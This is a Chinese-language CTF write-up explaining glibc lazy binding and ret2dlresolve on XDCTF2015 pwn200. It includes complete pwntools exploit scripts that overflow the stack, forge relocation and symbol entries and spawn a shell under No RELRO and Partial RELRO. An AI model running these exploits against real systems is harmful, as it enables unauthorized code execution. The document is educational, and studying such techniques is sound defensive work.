<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    延遲綁定原理 與 ret2dlresolve分析

    VSole2021-10-25 16:44:23

    前言

    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改

    本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve

    若文章存在紕漏,也歡迎師傅們捉蟲糾錯

    注:筆者會盡可能從可在BUUOJ中直接啟動遠程靶機的題目作為例題,讀者可以根據實際情況自行調試

      引題

    內容本身或許較為晦澀,不妨先從一道簡單的棧溢出例題開始

    例題來源:XDCTF2015_pwn200

    (這是題目源碼鏈接,讀者可直接從這里獲取到本題的源代碼)

    不過由于原題開啟了一些保護,我們先從沒有保護的情況開始分析,之后再探討保護下的情況:

    gcc bof.c -o bof_no_relro_32  -fno-stack-protector -m32 -z norelro -no-pie
    toka@tokameinee:~/桌面/timu$ checksec bof_no_relro_32[*] '/timu/bof_no_relro_32'    Arch:     i386-32-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)
    

    漏洞是顯然的,即便不用ret2dlresolve,通過一般的ROP鏈也能拿到shell:

    void vuln(){    char buf[100];    setbuf(stdin, buf);    read(0, buf, 256);}
    

    但如果使用ret2dlresolve又該如何獲取呢?

    延遲綁定原理(Lazy Binding)

    可能讀者已經知道,在程序嘗試調用一些外部函數時(以read為例),會使用plt表和got表(即便不知道也沒關系)

    call plt[read]jmp got[read]
    

    但重定向函數地址之前,got表的內容實則為一個尋址函數的過程地址,不妨通過gdb動態調試一下例題程序:

    先通過IDA找到plt表中write函數的地址,我們在 0x80483A0 處下一個斷點,開始調試

    可以發現,程序將會進入一個名為 _dl_runtime_resolve 的函數,而不是 write

    通過不同的到達方式,IDA會顯示出兩種plt的樣式:

    如果write函數是第一次調用,那么將會執行

    .plt:080483A0                 jmp     ds:off_80498D4
    

    而0x80498D4為got表中write的地址,在完成重定向之前,0x80498D4處的值會被置為0x40483a6

    因此,程序最終會執行

    .plt:080483A0                 jmp     0x40483a6
    

    然后,程序會向棧中放入兩個參數,分別為 reloc_offset=0x20 與 dword ptr [GLOBAL_OFFSET_TABLE+4] 作為 函數_dl_fixup 的參數,而 函數_dl_fixup 將把write函數真正的地址寫入got表中,覆蓋當前的值,因此在下一次使用時,就會跳轉到真正的write函數地址了

    注意:reloc_offset參數將在之后用于尋址

    動態鏈接信息的獲取

    0x8048350                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x80498bc>
    該命令實則往棧中放入了一個名為 link_map 的結構體地址,鏈接器就是通過該結構體中的信息來完成重定位的
    

    有幾個不可忽視的節區地址也被包含在link_map中,它們共同起效來完成整個重定位工作

    .dynamic

    其源碼定義為:

    typedef struct{  Elf32_Sword    d_tag;            /* Dynamic entry type */  union    {      Elf32_Word d_val;            /* Integer value */      Elf32_Addr d_ptr;            /* Address value */    } d_un;} Elf32_Dyn;
    該節區會為鏈接器提供各類地址,這里筆者摘錄部分宏定義并做翻譯以供參考
    #define DT_NEEDED    1        /* 所需library的名字 */#define DT_PLTGOT    3        /* .got.plt表地址 */#define DT_STRTAB    5        /* 字符串表地址 */#define DT_SYMTAB    6        /* 符號表地址 */#define DT_INIT        12        /* 初始化代碼地址 */#define DT_FINI        13        /* 結束代碼的地址 */#define DT_REL        17        /* 重定位表地址 */#define DT_RELENT    19        /* 動態重讀位表入口數量 */#define DT_JMPREL    23        /* ELF JMPREL Relocation Table地址(got表地址) */#define DT_VERSYM    0x6ffffff0
    IDA也在dynamic的每個項后標注了名稱,其中個別幾個較為關鍵:
    

    .dynstr(DT_STRTAB)

    一個字符串表,記錄了各個函數所對應的名稱

    動態鏈接最終將會通過一個偏移來從該表找到目標函數的名稱,通過該名稱進行搜索函數地址

    .dynsym(DT_SYMTAB)

    一個Elf32_Sym結構體數組,其源碼定義如下:

    typedef struct{  Elf32_Word    st_name;        /* Symbol name (string tbl index) */  Elf32_Addr    st_value;        /* Symbol value */  Elf32_Word    st_size;        /* Symbol size */  unsigned char    st_info;        /* Symbol type and binding */  unsigned char    st_other;        /* Symbol visibility */  Elf32_Section    st_shndx;        /* Section index */} Elf32_Sym;
    st_name字段記錄了一個相對偏移,鏈接器通過.dynstr+st_name來訪問到函數名
    

    .rel.plt(DT_JMPREL)

    源碼定義如下:

    typedef struct{  Elf32_Addr    r_offset;        /* Address */  Elf32_Word    r_info;            /* Relocation type and symbol index */} Elf32_Rel;
    記錄了重定向函數的got表地址及一個相對偏移
    

    鏈接器通過DT_SYMTAB[r_info>>8]來找到對應的Elf32_Sym結構體

    還記得在.plt中push入棧的 0x20 嗎?該偏移用以在該表中尋址:

    &DT_JMPREL+reloc_offset=0x8048304+0x20=0x8048324,該地址對應了write函數項

    link_map

    link_map結構體的源碼定義有大概200行,這里就不貼出了,但我們可以通過gdb調試命令:

    print *((struct link_map *)0xf7ffd940)  #本地址為動態地址,讀者應根據實際自行修改
    查看入棧的link_map內容
      //僅貼出部分link_map內容gdb-peda$ print *((struct link_map *)0xf7ffd940)$2 = {  l_addr = 0x0,   l_name = 0xf7ffdc2c "",   l_ld = 0x80497c4,   l_next = 0xf7ffdc30,   l_prev = 0x0,   l_real = 0xf7ffd940,   l_ns = 0x0,   l_libname = 0xf7ffdc20,   l_info = {0x0, 0x80497c4, 0x8049834, 0x804982c, 0x0, 0x8049804, 0x804980c, 0x0, 0x0, 0x0, 0x8049814, 0x804981c, 0x80497cc, 0x80497d4, 0x0, 0x0, 0x0, 0x804984c, 0x8049854, 0x804985c, 0x804983c, 0x8049824, 0x0, 0x8049844, 0x0, 0x80497dc, 0x80497ec, 0x80497e4, 0x80497f4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x804986c, 0x8049864, 0x0 , 0x8049874, 0x0 , 0x80497fc},   l_phdr = 0x8048034,   l_entry = 0x80483c0,   l_phnum = 0x8,   l_ldnum = 0x0,   l_searchlist = {    r_list = 0xf7fd03e0,     r_nlist = 0x3  },   l_symbolic_searchlist = {    r_list = 0xf7ffdc1c,     r_nlist = 0x0  },   l_loader = 0x0,   l_versions = 0xf7fd03f0,   l_nversions = 0x3,   l_nbuckets = 0x2,   l_gnu_bitmask_idxbits = 0x0,   l_gnu_shift = 0x5,   l_gnu_bitmask = 0x804819c,
    附注(.got.plt)
    

    另外還有一個節需要特別注意,即為.got.plt(以下簡稱got表)

    其第一項為.DYNAMIC地址,第二項將在程序加載后被裝入link_map的地址,第三項裝入_dl_runtime_resolve 函數地址

    0x8048350處,將.got.plt[1]入棧;0x8048356處,jmp .got.plt[2]

    動態鏈接信息的使用

    本篇,筆者僅基于實際流程說明結果。如果讀者想要更加細致的去研究其流程,可以直接閱讀_dl_runtime_resolve函數的源碼

    首先,鏈接器將通過link_map->l_info獲得DT_SYMTAB、DT_STRTAB、DT_JMPREL三張表的地址

    這里筆者截取部分代碼:

     const ElfW(Sym) *const symtab    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);  const PLTREL *const reloc    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    然后:
        if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)    {      const ElfW(Half) *vernum =        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;      version = &l->l_versions[ndx];      if (version->hash == 0)        version = NULL;    }
    

    通過link_map->l_info獲取DT_VERSYM地址(指ELF GNU Symbol Version Table)

    再然后,通過reloc->r_info獲取ndx,以其為索引獲取version(link_map->l_versions指向version表),即DT_VERSYM中對應函數的值

    這里的reloc->r_info即為DT_JMPREL中,對應Elf32_Rel結構體的r_info>>8

    例如本題,write將取出ndx=2,從中取出version=r_found_version[2]

    gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)$4 = {{    name = 0x0,     hash = 0x0,     hidden = 0x0,     filename = 0x0  }, {    name = 0x0,     hash = 0x0,     hidden = 0x0,     filename = 0x0  }, {    name = 0x804829e "GLIBC_2.0",     hash = 0xd696910,     hidden = 0x0,     filename = 0x804824d "libc.so.6"  }}
    

    之后,通過DT_SYMTAB[r_info>>8]找到DT_SYMTAB中對應的Elf32_Sym結構體,通過st_name中記錄的偏移,從(&DT_STRTAB+st_name)地址處獲取函數名,最后通過文件名找到對應的文件并將其打開,映射到進程空間中,然后再將對應函數的地址寫入DT_JMPREL表中對應項記錄的got表地址中

    延遲綁定利用ret2dlresolve

    上面筆者簡述了延遲綁定的流程,其中可能存在的幾個利用點:

    1. 篡改.DYNAMIC中的DT_STRTAB地址為某個可寫地址,就能偽造DT_STRTAB的內容(僅在NO RELRO下可用)
    2. 偽造DT_JMPREL并篡改.plt中push的偏移(reloc_offset,本題中write對應0x20)以提供一個更大的r_info,使得鏈接器尋址DT_SYMTAB中對應項時轉移到自己構造的結構中,使得尋址DT_STRTAB的偏移過大,溢出到可寫的地址中,及此偽造DT_STRTAB

    或許還有其他方法,但本篇我們只討論上面兩種利用

    NO RELRO

    不妨先看第一個情況,這里筆者給出exp:

    from pwn import *context.log_level="debug"
    p=process("./bof_no_relro_32")elf=ELF("./bof_no_relro_32")
    offset = 112dynstr = elf.get_section_by_name('.dynstr').data()#獲取DT_STRTAB字符串表dynstr = dynstr.replace("read","system")#將DT_STRTAB中的read改為systemread_plt=elf.plt["read"]bss=0x080498E0DT_STRTAB=0x08049804relro_read=0x8048376add_esp8_pop_ret=0x0804834a
    payload='a'*offset #填充payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(DT_STRTAB+4)+p32(4)#change to bss#第一次讀取,將DYNAMIC中記錄的DT_STRTAB地址替換道bss段payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss)+p32(len(dynstr))#fake str table#第二次讀取:將bss段的內容替換為DT_STRTAB原本的字符串表payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss+0x100)+p32(len("/bin/sh"))#第三次讀取:向bss+0x100處讀入“/bin/sh”payload+=p32(relro_read)#返回地址:強制重定向read函數payload+="aaaa"#填充payload+=p32(bss+0x100)#參數payload+="a"*(256-len(payload))#填充p.send(payload)
    p.send(p32(bss))p.send(dynstr)p.send("/bin/sh\x00")
    p.interactive()
    

    Partial RELRO

    Partial RELRO保護下,DYNAMIC節只有讀取的權限了,因此不能像上一個方法那樣直接篡改DYNAMIC節

    但reloc_offset卻是通過棧傳遞的,如果我們能夠用一個很大的數替代它,就能讓鏈接器在尋址時從bss段尋找我們期望的函數

    (這往往需要我們能夠極大程度地控制棧空間:首先我們需要能夠篡改返回地址;還需要偽造reloc_offset參數;然后我們還需要能夠調用類似read的函數來偽造空間,這之中還需要有足夠的溢出來傳參)

    例題來源:XDCTF2015_pwn200

    (該鏈接為BUU靶場題目鏈接)

    這次,我們的環境與原題一樣了

    [*] '/home/toka/timu/bof'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)
    請注意閱讀下述exp的代碼與注釋:
    #########################PART 1############################from pwn import *context.log_level="debug"import sysreload(sys)sys.setdefaultencoding('utf8')#########################PART 2############################p=process("./bof")elf=ELF("./bof")libc=elf.libcp.recvuntil('Welcome to XDCTF2015~!')offset = 112#########################PART 3############################read_plt=elf.plt["read"]bss=0x0804A028pop_ebp_ret=0x0804862bleave_ret=0x8048445add_esp8_pop_ret=0x0804836astack_size=0x800base_stage=stack_size+bss#首先,我們通過棧溢出構造一個read函數與棧遷移的ROP鏈#我們將使用read向base_stage處讀入數據#并讓程序在最后ret時返回到base_stage地址處payload='a'*offsetpayload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(base_stage)+p32(200)payload+=p32(pop_ebp_ret)+p32(base_stage-4)+p32(leave_ret)#注意:由于leave指令,此處的地址應為base_stage-4p.sendline(payload)########################PART 4############################plt_relro=0x8048370 write_reloc_offset=0x20 DT_JMPREL=0x8048324write_got=elf.got["write"]write_info=0x607print ("r_info:"+hex(base_stage+24-DT_JMPREL))
    #接著,我們構造base_stage種的數據#我們將relro_offset由0x20該為base_stage+24-DT_JMPREL#然后在DT_JMPREL+relro_offset處填入與Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write相同的內容#這樣,程序將以為我們需要重定向“write”,于是它將重定向函數,并調用write輸出“/bin/sh”payload=p32(plt_relro)+p32(base_stage+24-DT_JMPREL)payload+="aaaa"#該ROP的返回地址payload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))#write的參數payload+=p32(write_got)+p32(write_info)#此處即為偽造的Elf32_Rel結構體payload+='a'*(80-len(payload))payload+="/bin/sh\x00" #此處用以驗證函數是否正常調用payload+='a'*(120-len(payload))p.send(payload)######################################################p.interactive()
    

    我們發現,即便我們修改relro_offset讓程序索引到外部,只要目的地的內容是合法的,鏈接器就會正常的工作

    上述的exp中,write_info=0x607對應了正確的值,鏈接器能夠用write_info>>8來獲取合適的索引,那么如果我們將這個值也拓展到bss段,那么DT_SYMTAB的尋址就也會從bss段尋找,因此就能夠偽造DT_SYMTAB中的項;再通過DT_SYMTAB中st_name的偏移來讓鏈接器從bss段尋找函數名,那么我們就能夠篡改任意函數為我們期望的函數了

    那么我們只需要大膽地修改PART 4部分的代碼為:

    ########################PART 4############################plt_relro=0x8048370write_reloc_offset=0x20DT_JMPREL=0x8048324DT_SYMTAB=0x80481CCDT_STRTAB=0x0804826Cwrite_got=elf.got["write"]write_info=(((((base_stage+88)+(4+8)-DT_SYMTAB))<<8)/0x10)|0x7 #(4+8)為填充字符的大小,我們應該保證write_info的最后一個字節為0x07來對齊地址#可以注意到,從DT_SYMTAB:080481CC處開始,每個結構體大小均為0x10,因此我們偽造的結構體地址也應該在內存上對齊0x10
    SRT_OFFSET=0x4c #現在,我們暫時先不修改st_name的偏移值r_info=(base_stage+24-DT_JMPREL)print ("write_info:"+hex(write_info))print ("r_info:"+hex(r_info))print ("SRT_OFFSET:"+hex(SRT_OFFSET))
    payload=p32(plt_relro)+p32(r_info)payload+="aaaa"#ret addrpayload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))payload+=p32(write_got)+p32(write_info)payload+='a'*(80-len(payload))payload+="/bin/sh\x00"payload+="\x00"*12payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)payload+="write\x00\x00\x000"payload+='a'*(200-len(payload))p.send(payload)
    

    似乎我們只是篡改了write_info并偽造了一個Elf32_Sym結構體,但我們還運氣不錯地繞開了一個小問題

    回顧一下_dl_fixup函數的源碼:

       const ElfW(Half) *vernum =        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);//通過l_info獲取DT_VERSYM的地址      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;//ndx為reloc->r_info,其實就是write_info>>8         version = &l->l_versions[ndx];//意為:version=&DT_VERSYM[write_info>>8]
    ndx=DT_VERSYM[reloc->r_info]=DT_VERSYM[write_info>>8]=&DT_VERSYM+2*rite_info>>8
    我們在實際調試之前,并不清楚在篡改了write_info之后,我們獲得的ndx是多少
    

    又因為l_versions數組只有3個元素,因此,一旦ndx的值大于2就可能會導致程序崩潰

    gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)$4 = {{    name = 0x0,     hash = 0x0,     hidden = 0x0,     filename = 0x0  }, {    name = 0x0,     hash = 0x0,     hidden = 0x0,     filename = 0x0  }, {    name = 0x804829e "GLIBC_2.0",     hash = 0xd696910,     hidden = 0x0,     filename = 0x804824d "libc.so.6"  }}
    但找到一個合適的數并不困難,我們只需要適當的為write_info加上些許偏移,然后在payload中用”\x00”填充即可
    

    最后,我們修改SRT_OFFSET為DT_STRTAB到base_stage+88+4+8+6*4處,并在該處用”system”填充

    然后把本該傳給write函數的第一個參數改為”/bin/sh”的地址,就能順利拿到shell

    ########################PART 4############################plt_relro=0x8048370write_reloc_offset=0x20DT_JMPREL=0x8048324DT_SYMTAB=0x80481CCDT_STRTAB=0x0804826Cwrite_got=elf.got["write"]write_info=((((base_stage+88+4+8-DT_SYMTAB))<<8)/0x10)|0x7
    SRT_OFFSET=(base_stage+88+4+8+6*4)-DT_STRTABr_info=(base_stage+24-DT_JMPREL)print ("write_info:"+hex(write_info))print ("r_info:"+hex(r_info))print ("SRT_OFFSET:"+hex(SRT_OFFSET))
    payload=p32(plt_relro)+p32(r_info)payload+="aaaa"#ret addrpayload+=p32(base_stage+80)+p32(base_stage+80)+p32(len("/bin/sh\x00"))payload+=p32(write_got)+p32(write_info)payload+='a'*(80-len(payload))payload+="/bin/sh\x00"payload+="\x00"*12payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)payload+="system\x00\x00"payload+='a'*(200-len(payload))p.send(payload)p.interactive()
    

    FULL RELRO

    FULL RELRO下,所有的外部函數將在加載時直接綁定,且Got表不再可寫;在Got表無法更改的情況下,我們將 沒有任何一種方法能夠讓程序執行重定向過程(當然,我們不考慮類似mProtect等情況),這種攻擊方式自然也就不成立了

    對64位情況的討論

    不論是32位還是64位,鏈接器的工作流程都是相似的,理論上,我們是能夠通過完全相同的流程來進行攻擊的

    但64位中,地址寬度增加到了8字節,這意味著我們需要更大的緩沖區來操作我們的數據

    而64位中的傳參需要通過gadget而不是直接通過棧,這意味著我們的payload長度將會增加不止一倍,棧遷移的必要性往往會更大

    因此還會連鎖地導致write_info的值更加龐大;一旦這個值在無可奈何的情況下過大了,就很有可能造成 無論怎樣精心控制內存都找不到合適的地址空間獲取ndx 的情況了

    一般可行的解決方法便是繞過ndx的獲取:

         if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)    {          const ElfW(Half) *vernum =            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;          version = &l->l_versions[ndx];      if (version->hash == 0)        version = NULL;    }
    如果如下判斷語句失敗,我們就能夠成功繞過
         if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    我們知道l_info是link_map結構體的成員,因此我們的就應該需要先獲取link_map的地址,然后用類似read之類的方式篡改其中的l->l_info[VERSYMIDX (DT_VERSYM)]為NULL即可
    

    另外一個需要注意的地方便是,64位程序將通過_dl_runtime_resolve_xsavec函數來完成重定位,匯編指令如下:

       0x7fe74f08c8ff <_dl_runtime_resolve_xsavec+15>    mov    qword ptr [rsp], rax   0x7fe74f08c903 <_dl_runtime_resolve_xsavec+19>    mov    qword ptr [rsp + 8], rcx   0x7fe74f08c908 <_dl_runtime_resolve_xsavec+24>    mov    qword ptr [rsp + 0x10], rdx ? 0x7fe74f08c90d <_dl_runtime_resolve_xsavec+29>    mov    qword ptr [rsp + 0x18], rsi   <0x600a18>   0x7fe74f08c912 <_dl_runtime_resolve_xsavec+34>    mov    qword ptr [rsp + 0x20], rdi   0x7fe74f08c917 <_dl_runtime_resolve_xsavec+39>    mov    qword ptr [rsp + 0x28], r8   0x7fe74f08c91c <_dl_runtime_resolve_xsavec+44>    mov    qword ptr [rsp + 0x30], r9
    我們可以注意到,與32位不同,64位的重定向中,會向rsp地址出放入數據,這就有可能導致我們偽造的棧中數據被破壞
    

    因此還需要再增加一些無用的填充字節

    但這也正如我們上面討論的一樣,ret2dlresolve的利用似乎要求我們對棧有著極大的控制權時才能成立,但倘若我們能夠這樣做,那是不是常規的其他做法也一定可行呢?

    只是目前筆者遇到的ret2dlresolve利用大多基于No Relro保護下,其中也有非常多其他可能的利用環境和利用方式(例如無回顯函數、可溢出字節極少等),但這需要具體例子具體分析,往往在某些地方加上限制也對應著在其他地方放開了限制

    參考文章

    CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

    fanyeee:https://www.4hou.com/posts/NXkp

    holing:https://bbs.pediy.com/thread-227034.htm

    offset函數鏈接器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    由于init函數是linker調用的,所以沒法做加密。所以我們合理懷疑初始化函數位置找錯了。其實之所以會搞錯,是因為錯誤的section header干擾了ida的解析。這通常是因為代碼中有花指令的緣故,我們要考慮去除花指令了。所以有理由懷疑,這里就是花指令,用來干擾ida解析的。執行完后再加上0x20,棧是平衡的。所以我們確信,中間的ret部分就是花指令。
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    需要llvm 11+,這是當前afl支持的效率最高的選擇,也意味著編譯要花更長時間。實現了編譯級插樁,效果比匯編級插樁更好。從編譯的實現流程上理解插樁模式差異:afl-gcc插樁分析考慮到afl的插樁方式隨編譯器的選擇而變化,從最簡單的afl-gcc開始入手。
    稍后將會基于linux 2.4.x內核環境,演示這種感染技術。不過,由于內核模塊是elf格式的,所以閱讀后續內容之前,先要熟悉elf格式,并且要重點理解其符號表,之后才好明白,向正常內核模塊注入感染代碼的原理。----[ 2.1 - The .symtab section.symtab節區(符號表)的內容,是一個供鏈接使用的Elf32_Sym結構數組,Elf32_Sym結構定義在內核的/usr/include/elf.h頭文件:typedef struct
    幾乎所有Win32程序都會加載ntdll.dll和kernel32.dll這兩個基礎的動態鏈接庫。64位系統首先通過選擇字GS在內存中找到當前存放著指向當前線程環境塊TEB。進程環境塊中偏移位置為0x18的地方存放著指向PEB_LDR_DATA結構體的指針,其中,存放著已經被進程裝載的動態鏈接庫的信息。模塊初始化鏈表 InInitializationOrderModuleList中按順序存放著 PE 裝入運行時初始化模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。從kernel32.dll的加載基址算起,偏移0x3C的地方就是其PE頭。
    Binutils一組二進制程序處理工具,包括:addr2line、ar、objcopy、objdump、as、ld、ldd、readelf、size等。靜態庫的代碼在編譯過程中已經被載入可執行程序,因此體積較大。C語言標準僅僅定義了C標準庫函數原型,并沒有提供實現。C運行時庫又常簡稱為C運行庫。與C語言類似,C++也定義了自己的標準,同時提供相關支持庫,稱為C++運行時庫。準備工作由于GCC工具鏈主要是在Linux環境中進行使用,因此本文也將以Linux系統作為工作環境。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    EXE文件內存加載
    2021-12-02 16:22:13
    作為一名安全菜鳥,單純的了解某一個方面是并不合格的,安全并不僅限于某一門語言、某一個OS,現如今安全研究的技術棧要求的更深、更廣。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类